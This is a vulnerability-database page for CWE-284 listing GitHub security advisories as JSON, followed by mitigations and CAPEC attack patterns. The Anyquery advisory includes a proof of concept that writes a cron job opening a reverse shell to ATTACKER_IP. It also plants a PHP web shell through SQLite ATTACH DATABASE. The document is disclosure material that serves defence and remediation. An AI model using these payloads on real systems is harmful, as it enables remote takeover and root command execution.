CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7787 vulnerabilities reference this CWE, most recent first.
GHSA-XQ7P-3JHH-CR76
Vulnerability from github – Published: 2025-12-26 18:30 – Updated: 2025-12-26 18:30Incorrect access control in DEV Systemtechnik GmbH DEV 7113 RF over Fiber Distribution System 32-0078 H.01 allows unauthenticated attackers to access an administrative endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-67014"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T16:15:44Z",
"severity": "HIGH"
},
"details": "Incorrect access control in DEV Systemtechnik GmbH DEV 7113 RF over Fiber Distribution System 32-0078 H.01 allows unauthenticated attackers to access an administrative endpoint.",
"id": "GHSA-xq7p-3jhh-cr76",
"modified": "2025-12-26T18:30:27Z",
"published": "2025-12-26T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67014"
},
{
"type": "WEB",
"url": "https://dev-systemtechnik.com"
},
{
"type": "WEB",
"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-67014%20_%20DEV%20Systemtechnik%20GmbH%20DEV%207113%20RF%20over%20_%20Broken%20Access%20Control"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQ7R-8P25-R3GH
Vulnerability from github – Published: 2024-03-21 03:36 – Updated: 2024-08-05 18:31An issue discovered in Axigen Mail Server 10.3.x before 10.3.1.27 and 10.3.2.x before 10.3.3.1 allows unauthenticated attackers to submit a setAdminPassword operation request, subsequently setting a new arbitrary password for the admin account.
{
"affected": [],
"aliases": [
"CVE-2020-26942"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T02:36:18Z",
"severity": "CRITICAL"
},
"details": "An issue discovered in Axigen Mail Server 10.3.x before 10.3.1.27 and 10.3.2.x before 10.3.3.1 allows unauthenticated attackers to submit a setAdminPassword operation request, subsequently setting a new arbitrary password for the admin account.",
"id": "GHSA-xq7r-8p25-r3gh",
"modified": "2024-08-05T18:31:42Z",
"published": "2024-03-21T03:36:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26942"
},
{
"type": "WEB",
"url": "https://www.axigen.com/knowledgebase/Axigen-WebAdmin-Authentication-Bypass-Vulnerability-CVE-2020-26942-_387.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQG6-PRCJ-86CV
Vulnerability from github – Published: 2023-11-02 21:30 – Updated: 2023-11-02 21:30NVIDIA GPU Display Driver for Windows contains a vulnerability in wksServicePlugin.dll, where the driver implementation does not restrict or incorrectly restricts access from the named pipe server to a connecting client, which may lead to potential impersonation to the client's secure context.
{
"affected": [],
"aliases": [
"CVE-2023-31019"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-02T19:15:41Z",
"severity": "HIGH"
},
"details": "NVIDIA GPU Display Driver for Windows contains a vulnerability in wksServicePlugin.dll, where the driver implementation does not restrict or incorrectly restricts access from the named pipe server to a connecting client, which may lead to potential impersonation to the client\u0027s secure context.",
"id": "GHSA-xqg6-prcj-86cv",
"modified": "2023-11-02T21:30:19Z",
"published": "2023-11-02T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31019"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5491"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQM9-2MV3-CVX4
Vulnerability from github – Published: 2023-09-14 18:32 – Updated: 2024-04-04 07:40A vulnerability has been identified in QMS Automotive (All versions < V12.39). The QMS.Mobile module of the affected application lacks sufficient authorization checks. This could allow an attacker to access confidential information, perform administrative functions, or lead to a denial-of-service condition.
{
"affected": [],
"aliases": [
"CVE-2023-40730"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-12T10:15:29Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in QMS Automotive (All versions \u003c V12.39). The QMS.Mobile module of the affected application lacks sufficient authorization checks. This could allow an attacker to access confidential information, perform administrative functions, or lead to a denial-of-service condition.",
"id": "GHSA-xqm9-2mv3-cvx4",
"modified": "2024-04-04T07:40:38Z",
"published": "2023-09-14T18:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40730"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-147266.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQR7-4VQ4-5J5J
Vulnerability from github – Published: 2025-12-01 18:30 – Updated: 2025-12-01 21:30Incorrect access control in the SDAgent component of Shirt Pocket SuperDuper! v3.10 allows attackers to escalate privileges to root due to the improper use of a setuid binary.
{
"affected": [],
"aliases": [
"CVE-2025-57489"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-01T16:15:54Z",
"severity": "HIGH"
},
"details": "Incorrect access control in the SDAgent component of Shirt Pocket SuperDuper! v3.10 allows attackers to escalate privileges to root due to the improper use of a setuid binary.",
"id": "GHSA-xqr7-4vq4-5j5j",
"modified": "2025-12-01T21:30:26Z",
"published": "2025-12-01T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57489"
},
{
"type": "WEB",
"url": "https://shirt-pocket.com/SuperDuper/SuperDuperDescription.html"
},
{
"type": "WEB",
"url": "https://www.shirtpocket.com/blog/index.php/shadedgrey/comments/superduper_security_update_v311"
},
{
"type": "WEB",
"url": "http://shirt.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XR2F-69JG-7G6F
Vulnerability from github – Published: 2024-11-13 21:30 – Updated: 2024-11-13 21:30Improper access control in some Intel(R) Granulate(TM) software before version 4.30.1 may allow a authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-27200"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T21:15:13Z",
"severity": "MODERATE"
},
"details": "Improper access control in some Intel(R) Granulate(TM) software before version 4.30.1 may allow a authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-xr2f-69jg-7g6f",
"modified": "2024-11-13T21:30:35Z",
"published": "2024-11-13T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27200"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01145.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XR3J-488H-7HFW
Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Platform). Supported versions that are affected are 8.0.7.9, 8.0.8.7 and 8.1.2.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Financial Services Analytical Applications Infrastructure accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-53035"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T20:20:40Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Platform). Supported versions that are affected are 8.0.7.9, 8.0.8.7 and 8.1.2.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Financial Services Analytical Applications Infrastructure accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).",
"id": "GHSA-xr3j-488h-7hfw",
"modified": "2025-10-21T21:33:41Z",
"published": "2025-10-21T21:33:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53035"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XR7R-292V-JXG8
Vulnerability from github – Published: 2026-06-29 15:32 – Updated: 2026-06-29 18:31The Helix3 plugin for Joomla exposes an ajax handler task, that allows unauthenticated attackers to delete arbitrary files, write arbitrary JSON files and update template parameters.
{
"affected": [],
"aliases": [
"CVE-2026-49049"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T15:16:41Z",
"severity": "HIGH"
},
"details": "The Helix3 plugin for Joomla exposes an ajax handler task, that allows unauthenticated attackers to delete arbitrary files, write arbitrary JSON files and update template parameters.",
"id": "GHSA-xr7r-292v-jxg8",
"modified": "2026-06-29T18:31:53Z",
"published": "2026-06-29T15:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49049"
},
{
"type": "WEB",
"url": "https://www.joomshaper.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XR95-5HHJ-CRP6
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-07-26 00:01A flaw was found in the default configuration of dnsmasq, as shipped with Fedora versions prior to 31 and in all versions Red Hat Enterprise Linux, where it listens on any interface and accepts queries from addresses outside of its local subnet. In particular, the option local-service is not enabled. Running dnsmasq in this manner may inadvertently make it an open resolver accessible from any address on the internet. This flaw allows an attacker to conduct a Distributed Denial of Service (DDoS) against other systems.
{
"affected": [],
"aliases": [
"CVE-2020-14312"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-06T00:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the default configuration of dnsmasq, as shipped with Fedora versions prior to 31 and in all versions Red Hat Enterprise Linux, where it listens on any interface and accepts queries from addresses outside of its local subnet. In particular, the option `local-service` is not enabled. Running dnsmasq in this manner may inadvertently make it an open resolver accessible from any address on the internet. This flaw allows an attacker to conduct a Distributed Denial of Service (DDoS) against other systems.",
"id": "GHSA-xr95-5hhj-crp6",
"modified": "2022-07-26T00:01:11Z",
"published": "2022-05-24T17:41:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14312"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1851342"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRCF-6JH3-GGVX
Vulnerability from github – Published: 2026-07-14 18:33 – Updated: 2026-07-14 18:33Summary
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
- Start the server on the victim machine:
bash anyquery server --host 0.0.0.0 --port 8070 - Connect from an attacker machine:
bash mysql -u root -h <VICTIM_IP> -P 8070 - Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as
/etc/cron.dor/var/spool/cron/crontabs/):sql ATTACH DATABASE '/etc/cron.d/pwn' AS pwn; CREATE TABLE pwn.task (cmd TEXT); INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:
sql
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.hacked (cmd TEXT);
INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');
If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:
sql
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test (cmd TEXT);
INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');
Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.
Impact
- Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
- Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
- Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
- CVSS Score: 9.1 (Critical) -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).
Remediation
Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.4.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50006"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-434",
"CWE-73",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T18:33:57Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\nAnyquery\u0027s `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim\u0027s filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist.\n\nAn attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine:\n ```bash\n anyquery server --host 0.0.0.0 --port 8070\n ```\n2. Connect from an attacker machine:\n ```bash\n mysql -u root -h \u003cVICTIM_IP\u003e -P 8070\n ```\n3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`):\n ```sql\n ATTACH DATABASE \u0027/etc/cron.d/pwn\u0027 AS pwn;\n CREATE TABLE pwn.task (cmd TEXT);\n INSERT INTO pwn.task VALUES (\u0027* * * * * root /bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/1337 0\u003e\u00261\"\u0027);\n ```\n\n *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*\n ```sql\n ATTACH DATABASE \u0027/var/www/html/shell.php\u0027 AS pwn;\n CREATE TABLE pwn.hacked (cmd TEXT);\n INSERT INTO pwn.hacked VALUES (\u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n ```\n\n *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:*\n ```sql\n ATTACH DATABASE \u0027/tmp/pwn.db\u0027 AS pwn;\n CREATE TABLE pwn.test (cmd TEXT);\n INSERT INTO pwn.test VALUES (\u0027Hello Anyquery AFW\u0027);\n ```\nWithin 60 seconds, the system\u0027s cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.\n\n## Impact\n- **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High).\n- **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem.\n- **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).\n- **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\n - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*\n\n## Remediation\nDisable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.",
"id": "GHSA-xrcf-6jh3-ggvx",
"modified": "2026-07-14T18:33:57Z",
"published": "2026-07-14T18:33:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx"
},
{
"type": "PACKAGE",
"url": "https://github.com/julien040/anyquery"
},
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.